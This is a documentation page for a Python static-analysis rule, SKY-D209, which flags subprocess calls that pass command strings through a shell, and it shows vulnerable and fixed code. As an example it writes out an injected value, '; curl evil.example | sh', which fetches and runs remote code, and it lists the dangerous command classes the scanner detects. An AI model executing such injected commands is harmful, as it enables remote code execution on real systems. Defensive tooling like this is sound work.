SKY-D209 · Security in code
Subprocess run through a shell
subprocess.run(..., shell=True) and the helpers that always use a shell pass the whole command string to /bin/sh, which also obeys ;, |, && and $( ). SKY-D209 reports these calls so that the command string is reviewed.
- Languages
- Python
- Quality gate
- counted toward the gate limits (full and diff scans). LOW findings for fixed commands are hidden from the default list but still counted.
- Finding type
- review
- Catalog name
- Subprocess shell execution
Why it matters
Whatever ends up in the string runs with the program's rights. A task name, branch name or file name containing ; curl evil.example | sh becomes a second command, and quoting mistakes are easy to miss in review.
What Skylos flags
import jsonimport subprocessfrom pathlib import Path def run_task(name: str) -> int: tasks = json.loads(Path("tasks.json").read_text()) command = tasks[name] return subprocess.run(command, shell=True).returncodeWhat Skylos leaves alone
import jsonimport shleximport subprocessfrom pathlib import Path def run_task(name: str) -> int: tasks = json.loads(Path("tasks.json").read_text()) argv = shlex.split(tasks[name]) return subprocess.run(argv).returncodeWhy Skylos leaves it alone
shlex.split() turns the command into a list of words and subprocess.run() starts the program directly, with no shell, so ; or $( ) in the text are passed as plain characters. Without shell=True there is nothing for this rule to report.
How Skylos decides
- Resolves call names through imports and assignments (
import subprocess as sp,run = subprocess.run). - Matches any
subprocess.*call that passesshell=Trueas a literal, plussubprocess.getoutput,subprocess.getstatusoutputandasyncio.create_subprocess_shell, which always use a shell. Ashell=given as a variable is not matched here. - Reports HIGH when the command is built (f-string,
+,%), is a variable or parameter, contains$or a backtick, or is a fixed command that the shell-command guard rates as dangerous (broad deletes, secret exfiltration, a download piped into a shell, credential reads). - Lowers to LOW a command written directly as fixed text without any of that, such as
"git rev-parse HEAD". LOW findings are hidden from the default list, stay in JSON output and are counted by the gate. - Untrusted data (a parameter, request data, the environment) reaching the command is reported separately as SKY-D212, which also covers a
shell=given as a variable.
How to fix it
Split the command into a list and drop shell=True. If the string really needs shell features such as pipes, build it from fixed parts and pass each variable through shlex.quote().
import jsonAdded: import shleximport subprocessfrom pathlib import Path def run_task(name: str) -> int: tasks = json.loads(Path("tasks.json").read_text())Removed: command = tasks[name]Removed: return subprocess.run(command, shell=True).returncodeAdded: argv = shlex.split(tasks[name])Added: return subprocess.run(argv).returncodeWhen it can be wrong
- Commands from a file your team controls, such as a
Makefile-like task list, are still reported as HIGH: the rule does not know who writes the file. - When the command also contains a function parameter or request value, the same line gets SKY-D212 as well.
Seeing a case that isn't listed here? Report the wrong result so the rule can be fixed. Don't paste company code: describe the shape of it.
How to silence it
Mark a reviewed call on its own line. A bare
# noqadoes not hide a HIGH security finding.Python subprocess.run(command, shell=True) # skylos: ignore[SKY-D209] tasks.json is repo-ownedAccept existing findings with
skylos baseline ., then scan with--baseline.[tool.skylos] ignore = ["SKY-D209"]turns the rule off for the whole project. It does not hide SKY-D212.